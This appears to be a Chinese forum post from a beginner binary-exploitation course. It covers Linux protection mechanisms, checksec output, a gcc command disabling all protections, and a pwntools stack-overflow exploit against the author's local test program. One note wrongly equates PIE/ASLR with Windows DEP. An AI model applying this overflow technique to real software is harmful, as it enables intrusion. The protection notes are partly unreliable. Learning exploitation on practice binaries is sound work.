首頁(yè)
社區(qū)
課程
招聘
Pwn 學(xué)習(xí)第三課打卡!

原提問(wèn)者:
hackbs 2020-7-9

 

知識(shí)點(diǎn):

  • ①CANNARY(棧保護(hù)) {用來(lái)保護(hù)棧溢出,Cannary found表示開(kāi)了保護(hù)}
  • ②FORTIFY {比較冷門(mén),防止緩沖區(qū)溢出}
  • ③NX(DEP) {不讓執(zhí)行ShellCode操作}
  • ④PIE(ASLR) {Win上稱(chēng)為DEP 地址空間分布隨機(jī)化}
  • ⑤RELRO {設(shè)置符號(hào)重定向表格為只讀,綁定所有動(dòng)態(tài)符號(hào),防止GOT攻擊}

Linux下檢查保護(hù)機(jī)制的命令:

1
2
3
4
5
6
7
8
9
checksec  test
 
[*'/home/lee/test'
        Arch:          i386-32-little
        RELRO:        Partial  RELRO
        Stack:        No  canary  found
        NX:              NX  disabled
        PIE:            No  PIE  (0x8048000)
        RWX:            Has  RWX  segments

關(guān)閉所有保護(hù)編譯指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gcc  -no-pie  -fno-stack-protector  -z  execstack  -m32  -o  test  test.c
 
Exp:
from  pwn  import  *
#--------------------------------------
#init
testProcessHandle  =  process("./test")
 
#calc  ebp  offset
epbOffset  =  0x28  +  0x4
 
#exp  func  addresss
expAddress  =  0x08048456
 
#payload
payload  =  'A'  *  epbOffset  +  p32(expAddress)
#--------------------------------------
 
 
#  EntryPoint    Exp  Coding  By  Lee.
def  main():
        testProcessHandle.sendline(payload)
        testProcessHandle.interactive()
 
#  let's  go
if  __name__  ==  "__main__":
        main()
收藏
0條回答
零基礎(chǔ)入門(mén)pwn
  參與學(xué)習(xí)     1798 人
  提問(wèn)次數(shù)     36 個(gè)
《零基礎(chǔ)入門(mén)pwn》,短時(shí)間內(nèi)踏入漏洞利用的大門(mén),快速成為一名合格的pwn題選手
我的問(wèn)答 領(lǐng)取收益
0
我的提問(wèn)
0
我的回答
0
學(xué)習(xí)收益